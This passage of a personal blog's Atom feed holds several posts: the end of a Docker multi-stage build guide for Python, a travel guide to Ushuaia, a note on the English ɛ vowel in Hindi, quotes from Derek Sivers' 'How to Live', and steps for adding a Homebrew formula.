</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">22
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dockerfile" data-lang="dockerfile"><span style="display:flex;"><span><span style="color:#719e07">FROM</span><span style="color:#2aa198"> python:3.10-slim as builder</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Install Poetry</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">RUN</span> pip3 install <span style="color:#268bd2">poetry</span><span style="color:#719e07">==</span>2.0.1
</span></span><span style="display:flex;"><span><span style="color:#719e07">WORKDIR</span><span style="color:#2aa198"> /app</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">COPY</span> pyproject.toml poetry.lock /app
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># virtual env is created in &#34;/app/.venv&#34; directory</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">ENV</span> <span style="color:#268bd2">POETRY_NO_INTERACTION</span><span style="color:#719e07">=</span><span style="color:#2aa198">1</span> <span style="color:#cb4b16">\
</span></span></span><span style="display:flex;"><span><span style="color:#cb4b16"></span><span style="color:#268bd2">POETRY_VIRTUALENVS_IN_PROJECT</span><span style="color:#719e07">=</span><span style="color:#2aa198">1</span> <span style="color:#cb4b16">\
</span></span></span><span style="display:flex;"><span><span style="color:#cb4b16"></span><span style="color:#268bd2">POETRY_VIRTUALENVS_CREATE</span><span style="color:#719e07">=</span><span style="color:#b58900">true</span> <span style="color:#cb4b16">\
</span></span></span><span style="display:flex;"><span><span style="color:#cb4b16"></span><span style="color:#268bd2">POETRY_CACHE_DIR</span><span style="color:#719e07">=</span>/tmp/poetry_cache
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Install dependencies</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">RUN</span> --mount<span style="color:#719e07">=</span><span style="color:#268bd2">type</span><span style="color:#719e07">=</span>cache,target<span style="color:#719e07">=</span>/tmp/poetry_cache poetry install --only main --no-root
</span></span><span style="display:flex;"><span><span style="color:#719e07">RUN</span> poetry install
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">FROM</span><span style="color:#2aa198"> python:3.10-slim as runner</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">COPY</span> src /app/src
</span></span><span style="display:flex;"><span><span style="color:#719e07">COPY</span> --from<span style="color:#719e07">=</span>builder /app/.venv /app/.venv
</span></span><span style="display:flex;"><span><span style="color:#719e07">ENV</span> <span style="color:#268bd2">PATH</span><span style="color:#719e07">=</span><span style="color:#2aa198">&#34;/app/.venv/bin:</span><span style="color:#268bd2">$PATH</span><span style="color:#2aa198">&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">ENTRYPOINT</span> [<span style="color:#2aa198">&#34;/app/.venv/bin/python&#34;</span>, <span style="color:#2aa198">&#34;src/server.py&#34;</span>]</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>And the result</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ docker build -f Dockerfile2 -t example1 . <span style="color:#719e07">&amp;&amp;</span> docker image inspect example1 --format<span style="color:#719e07">=</span><span style="color:#2aa198">&#39;{{.Size}}&#39;</span> | numfmt --to<span style="color:#719e07">=</span>iec-i
</span></span><span style="display:flex;"><span>158Mi</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>That&rsquo;s an extra 77Mi (33%) of saving while reducing the attack surface of the docker image!</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/devops" term="devops" label="devops"/><category scheme="https://ashishb.net/tag/docker" term="docker" label="docker"/><category scheme="https://ashishb.net/tag/python" term="python" label="python"/></entry><entry><title type="html">Ultimate guide to traveling in Ushuaia Argentina</title><link href="https://ashishb.net/travel/ushuaia-argentina/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/el-calafate-patagonia-argentina/?utm_source=atom_feed" rel="related" type="text/html" title="A day in El Calafate - Patagonia, Argentina"/><link href="https://ashishb.net/travel/el-chalten-argentina/?utm_source=atom_feed" rel="related" type="text/html" title="Hiking in El Chaltén - trekking capital of Argentina"/><link href="https://ashishb.net/travel/buenos-aires-argentina/?utm_source=atom_feed" rel="related" type="text/html" title="Ultimate guide to exploring Buenos Aires"/><link href="https://ashishb.net/travel/nicaragua/?utm_source=atom_feed" rel="related" type="text/html" title="Nicaragua in 5 days"/><link href="https://ashishb.net/travel/mexico/guadalajara/?utm_source=atom_feed" rel="related" type="text/html" title="Four days in Guadalajara, Mexico"/><id>https://ashishb.net/travel/ushuaia-argentina/</id><author><name>Ashish Bhatia</name></author><published>2024-01-06T17:00:41+00:00</published><updated>2024-01-06T17:00:41+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the charm of Ushuaia, from penguin tours and the beauty of Tierra Del Fuego to the scenic hikes of Emerald Lake and Turquoise Lake. Adventure awaits!</blockquote><p>Ushuaia, the southernmost city in the world, is located in the remote Tierra Del Fuego region of Argentina.
Despite its remoteness, unlike 
<a href="/travel/alaska/">Alaska</a>, the city is gorgeous and prosperous.
The whole city is mostly oriented around one single street (Ave. San Martín).
And I would recommend staying close to it.</p>
<h3 id="day-1---penguins">Day 1 - Penguins</h3>
<p>Ushuaia is a natural home to Penguins. What else could be a better way to start this trip?
There are three varieties of penguins - Gentoo, King, and Magellanic.
There are only a few King penguins in Ushuaia.
Magellanic penguins migrate to Brazil during winter (April onwards).
While Gentoo stays in Isla Martillo in Ushuaia year-round.</p>
<p>There are only two major companies that have penguin tours -   
    
    
<a href="https://piratour.net/producto/caminata-en-isla-martillo-version-terrestre/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Piratour</a> and   
    
    
<a href="https://onashagaexpeditions.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Onashaga Expeditions</a>.
I did the tour with Onashaga and would highly recommend them.
The tour involves ~2 hours of round-trip driving and ~2 hours of the boat journey to Isla Martillo,
the natural home of Penguins in Ushuaia. The trip cost ~19,000 AEP.</p>
<figure>
    
    <a href="ushuaia-penguins-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ushuaia-penguins-1024x768.jpg"
         alt="A boat journey advertisement to Isla Martillo highlights its penguin inhabitants in Ushuaia" width="900"/> </a>
</figure>

<figure>
    
    <a href="ushuaia-penguins-2-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ushuaia-penguins-2-768x1024.jpg"
         alt="A group of penguins stands on a rocky shoreline by the water in Tierra Del Fuego National Park" width="900"/> </a>
</figure>

<h3 id="day-2---tierra-del-fuego-national-park">Day 2 - Tierra Del Fuego National Park</h3>
<p>Compared to national parks like 
<a href="/travel/glacier-national-park/">Glacier National Park</a> in the US, Tierra Del Fuego National Park is fairly unremarkable.
There is an 8000 AEP round-trip shuttle that provides ~30-mins transportation to this National Park.
My recommendation would be to go directly to the end (Bahía Lapataia) and then walk backward from there.
I would recommend taking the first shuttle - 9 AM during the main season (Nov-Mar) and 10 AM during the off-season (April-Oct).
The last bus to return is at 7 PM (Nov-Mar) and 5 PM (April-Oct).</p>
<figure>
    
    <a href="ushuaia-national-park-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ushuaia-national-park-1-1024x768.jpg"
         alt="A scenic view of Ushuaia National Park" width="900"/> </a>
</figure>

<figure>
    
    <a href="ushuaia-national-park-2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ushuaia-national-park-2-1024x768.jpg"
         alt="Ushuaia National Park scenic landscapes" width="900"/> </a>
</figure>

<h3 id="day-3---emerald-lake-and-turquoise-lake">Day 3 - Emerald Lake and Turquoise Lake</h3>
<p>Laguna Esmeralda (Emerald Lake) is gorgeous. Depending on the time of the year, the hike can be a bit involved due to the muddy situation, but it is worth it.
The round-trip shuttle cost was 6000 AEP. I would highly recommend taking the earliest shuttle, so that, you have enough time for a much harder hike to Laguna Turquesa (Turquoise Lake).
It took me about 90 minutes to hike to Laguna Esmeralda and 90 minutes to hike back on this 9.6-km trail.</p>
<figure>
    
    <a href="ushuaia-laguna-esmeralda-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ushuaia-laguna-esmeralda-1024x768.jpg"
         alt="A serene mountain landscape featuring a picturesque green lagoon, surrounded by lush vegetation and rugged terrain, indicating a hiking trail location with scenic vistas." width="900"/> </a>
</figure>

<p>Laguna Turquesa (3 km round trip) is a continuous upward climb but the views at the end are worth it. It took me about 50 minutes to reach the lake.</p>
<figure>
    
    <a href="ushuaia-laguna-turquesa-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ushuaia-laguna-turquesa-1024x768.jpg"
         alt="A picturesque turquoise lake surrounded by rugged snow-capped mountains" width="900"/> </a>
</figure>

<p>Later, I checked out the Fin Del Mundo (End of the World) Museum. I wouldn&rsquo;t recommend it though.</p>
<h3 id="note">Note</h3>
<ol>
<li>  
    
    
<a href="https://hostelworld.prf.hn/click/camref:1011l3brW/destination:https%3A%2F%2Fwww.hostelworld.com%2Fst%2Fhostels%2Fp%2F317366%2Fanum-hostel%2F?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Anum Hostel</a> is a great place to stay. The owner even offers you discounts for booking various activities.</li>
<li>Fin Del Mundo (End of the World) Train is mostly a tourist trap. Unless you are traveling with small kids or people who can&rsquo;t hike, I would recommend hiking in Tierra Del Fuego National Park.</li>
<li>As of this writing, 1 USD = 466 AEP. The Argentinian Pesos keep falling though. I would highly recommend carrying the new USD 100 bills and converting them on Florida Street in 
<a href="/travel/buenos-aires-argentina/">Buenos Aires</a> for the   
    
    
<a href="https://bluedollar.net/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Blue Dollar</a> exchange rate. Credit cards are widely accepted but with Visa &amp; Mastercard, you will get the MEP rate, which is ~10-15% inferior to the Blue dollar rate. And many businesses like taxis will charge 10% more for credit card-based payments.</li>
<li>MarcoPolo Free Life has a lot of good vegetarian choices.</li>
<li>If you have more days, consider visiting Laguna Los Tempanos and Laguna Cinco Hermanos.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/argentina" term="argentina" label="argentina"/><category scheme="https://ashishb.net/tag/latin-america" term="latin-america" label="latin-america"/></entry><entry><title type="html">The English ɛ - a popular vowel missing in Indic languages</title><link href="https://ashishb.net/linguistics/%C9%9B-sound/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/linguistics/monolingualism/?utm_source=atom_feed" rel="related" type="text/html" title="Monolingualism"/><link href="https://ashishb.net/linguistics/one-name-five-pronunciations/?utm_source=atom_feed" rel="related" type="text/html" title='The five different ways to pronounce the name "Chavez"'/><link href="https://ashishb.net/linguistics/spanish-pronunciations-for-hindi-speakers/?utm_source=atom_feed" rel="related" type="text/html" title="Spanish Pronunciations for Hindi speakers"/><link href="https://ashishb.net/linguistics/indian-accent/?utm_source=atom_feed" rel="related" type="text/html" title="Indian accent"/><link href="https://ashishb.net/linguistics/sound-of-v/?utm_source=atom_feed" rel="related" type="text/html" title='Hindi: The missing "v" sound'/><id>https://ashishb.net/linguistics/%C9%9B-sound/</id><author><name>Ashish Bhatia</name></author><published>2023-12-30T17:00:32+00:00</published><updated>2023-12-30T17:00:32+00:00</updated><content type="html"><![CDATA[<blockquote>Discover how a new symbol could bridge the pronunciation gap for non-native English vowels in Hindi, enhancing clarity in spoken and written language.</blockquote><p>English has a very commonly used vowel that doesn&rsquo;t exist in Indic languages natively.
It is <code>ɛ</code>-   
    
    
<a href="https://en.wikipedia.org/wiki/Open-mid_front_unrounded_vowel?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Open-mid front unrounded vowel</a>.
Consider the word <code>bet</code>, its vowel sound is halfway between <code>bat/बैत़</code> and <code>bait/बेत़</code>.
This vowel is fairly common in English, for example, <code>tech</code> whose vowel sound is halfway between <code>tack</code> and <code>take</code>.
Or <code>met</code> which is half-way between <code>mat</code> and <code>mate</code>.</p>
<p>Now, this sound is not natively written in Hindi.
However, this does show up in various spoken words like <code>रहना</code>, <code>कहना</code>, and <code>सहन</code>.
And the native speakers intuitively know that the pronunciations deviate from the written spelling in these cases.</p>
<p>A better way might be to use a different symbol(ॆ) to represent this vowel, for example, <code>bat/बैत़</code> -&gt; <code>bet/बॆत़</code> -&gt; <code>bait/बेत़</code>.</p>
]]></content><category scheme="https://ashishb.net/category/linguistics" term="linguistics" label="linguistics"/><category scheme="https://ashishb.net/tag/linguistics" term="linguistics" label="linguistics"/></entry><entry><title type="html">Notable quotes from "How to Live" by Derek Sivers</title><link href="https://ashishb.net/book-summary/how-to-live/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/what-i-learned-losing-a-million-dollars-by-jim-paul/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: What I learned losing a million dollars by Jim Paul"/><link href="https://ashishb.net/book-summary/thinking-in-bets/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Thinking In Bets by Annie Duke"/><link href="https://ashishb.net/book-summary/the-half-life-of-facts/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The half-life of Facts by Samuel Arbesman"/><link href="https://ashishb.net/book-summary/the-new-confessions-of-an-economic-hit-man/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The New Confessions of an Economic Hit Man"/><link href="https://ashishb.net/book-summary/the-mom-test/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Mom Test by Rob Fitzpatrick"/><id>https://ashishb.net/book-summary/how-to-live/</id><author><name>Ashish Bhatia</name></author><published>2023-12-23T17:00:34+00:00</published><updated>2023-12-23T17:00:34+00:00</updated><content type="html"><![CDATA[<blockquote>Discover insightful quotes from Derek Sivers&rsquo; &ldquo;How to Live.&rdquo; Explore provocative stories on mastery, decision-making, and embracing life&rsquo;s contradictions.</blockquote><p>Some notable quotes from &quot;   
    
    
<a href="https://amzn.to/458WBDQ?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">How to Live</a>&quot; by   
    
    
<a href="https://sive.rs/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Derek Sivers</a>.
It consists of 27 stories independent of each other.
Some contradict ideas from others.
And that&rsquo;s what makes this short read even more provocative.</p>
<p>Friends are great at the right distance.
Just like you can’t read something if it’s pushed up against your face, or too far away, you should keep your friends at arm’s length — close but not too close.</p>
<p>The English word “decide” comes from the Latin “to cut off”.
Choose one and cut off other options.
When you commit to one outcome, you’re united and sharply focused.</p>
<p>Junk may reach your senses, but don’t let it reach your mind.</p>
<p>Thinking of the future doesn’t come naturally.
Our hunter-gatherer ancestors had to live moment-to-moment, so our tendency to focus on today is built into our biology.</p>
<p>Mastery is the best goal.
The rich can’t buy it.
The impatient can’t rush it.
The privileged can’t inherit it.
Nobody can 
<a href="/misc/ownership-vs-control/">steal</a> it.
You can only earn it through hard work.</p>
<p>Mastery is the ultimate status.</p>
<p>Resist the temptation of what you want now.
Remember the importance of what you want most.</p>
<p>Ghosts don’t leave until you’ve understood their message.
Problems persist until you claim them and solve them.</p>
<p>Your feelings are wise.
Bad feelings mean you need to take action.
Good feelings mean you took the right action.</p>
<p>Places, like Europe, that resist change have no vision, only memories.</p>
<p>Modern life is shallow and distracted.
The timeless life is deep and focused.</p>
<p>When a culture loses its traditions, it loses its sanity too.</p>
<p>Knowledge is often described simply — “in a nutshell”. But the inside of a nutshell is complex.</p>
<p>An open mind, like an open mouth, needs to eventually close on something.</p>
<p>Rules may keep you from some stupendous heights, but they will always keep you from falling too low.</p>
<p>Time belittles anything by showing it’s not as bad as it seemed.
Humor does that instantly.</p>
<p>Expecting life to be wonderful is disappointing.
Expecting life to be disappointing is wonderful.</p>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/></entry><entry><title type="html">How to add a new formula to homebrew package manager</title><link href="https://ashishb.net/programming/how-to-add-a-new-formula-to-homebrew-package-manager/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/how-to-setup-go-packages-under-monorepo/?utm_source=atom_feed" rel="related" type="text/html" title="How to setup Go packages under monorepo"/><link href="https://ashishb.net/programming/android-always-show-toasts-on-the-background-thread/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Always show toasts on the background thread"/><link href="https://ashishb.net/programming/how-to-deploy-docker-images-on-microsoft-azure/?utm_source=atom_feed" rel="related" type="text/html" title="How to deploy Docker images on Microsoft Azure"/><link href="https://ashishb.net/programming/end-to-end-testing-mobile-apps/?utm_source=atom_feed" rel="related" type="text/html" title="End-to-end testing of mobile apps"/><link href="https://ashishb.net/programming/api-backend-should-use-dataloaders/?utm_source=atom_feed" rel="related" type="text/html" title="API backend should use dataloaders"/><id>https://ashishb.net/programming/how-to-add-a-new-formula-to-homebrew-package-manager/</id><author><name>Ashish Bhatia</name></author><published>2023-12-16T17:00:10+00:00</published><updated>2023-12-16T17:00:10+00:00</updated><content type="html"><![CDATA[<blockquote>Learn how to add a formula like adb-enhanced to Homebrew. This guide shares step-by-step tips for creating, testing, and merging your formula smoothly.</blockquote><p>I recently added   
    
    
<a href="https://github.com/ashishb/adb-enhanced?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">adb-enhanced</a> to the   
    
    
<a href="https://formulae.brew.sh/formula/adb-enhanced?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Homebrew package manager</a>. Here are some of my learnings and future tips to smoothen up the process.</p>
<p>The best way to create and test Formula is to first   
    
    
<a href="https://brew.sh/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">install Homebrew</a> and then follow the following steps for faster merge</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">21
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#586e75"># Change &#34;adb-enhanced&#34; with your preferred formula name everywhere</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Create a new formula via</span>
</span></span><span style="display:flex;"><span>$ brew create --set-name adb-enhanced
</span></span><span style="display:flex;"><span><span style="color:#586e75"># In the editor, fill in the details, regarding the formula</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># You can see mine as a reference at</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># https://github.com/Homebrew/homebrew-core/blob/e8e49e89e84a6412ffadce73b24579af986b2e10/Formula/adb-enhanced.rb</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Depending on whether your formula is based on Go, Python, Rust, Java,</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># there are different ways to build the code.</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Homebrew won&#39;t accept a formula being distributed as a binary</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Verify that formula can be installed</span>
</span></span><span style="display:flex;"><span>$ brew install --build-from-source adb-enhanced
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Some bare minimal tests are also required</span>
</span></span><span style="display:flex;"><span>$ brew <span style="color:#b58900">test</span> adb-enhanced
</span></span><span style="display:flex;"><span><span style="color:#586e75"># This auditing ensures that the formula is acceptable to homebrew</span>
</span></span><span style="display:flex;"><span>$ brew audit --new adb-enhanced <span style="color:#719e07">&amp;&amp;</span> brew audit --strict adb-enhanced
</span></span><span style="display:flex;"><span><span style="color:#586e75"># These reflects another set of slightly different test that homebrew CI would run</span>
</span></span><span style="display:flex;"><span>$ brew install --verbose --build-bottle adb-enhanced
</span></span><span style="display:flex;"><span>$ brew install --include-test adb-enhanced
</span></span><span style="display:flex;"><span>$ brew link adb-enhanced
</span></span><span style="display:flex;"><span>$ brew <span style="color:#b58900">test</span> --verbose adb-enhanced</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Once you are done, clone the   
    
    
<a href="https://github.com/Homebrew/homebrew-core/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">homebrew</a> repo and add your formula to it. Now, send a   
    
    
<a href="https://github.com/Homebrew/homebrew-core/pull/132792?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">pull request</a> to merge it.</p>
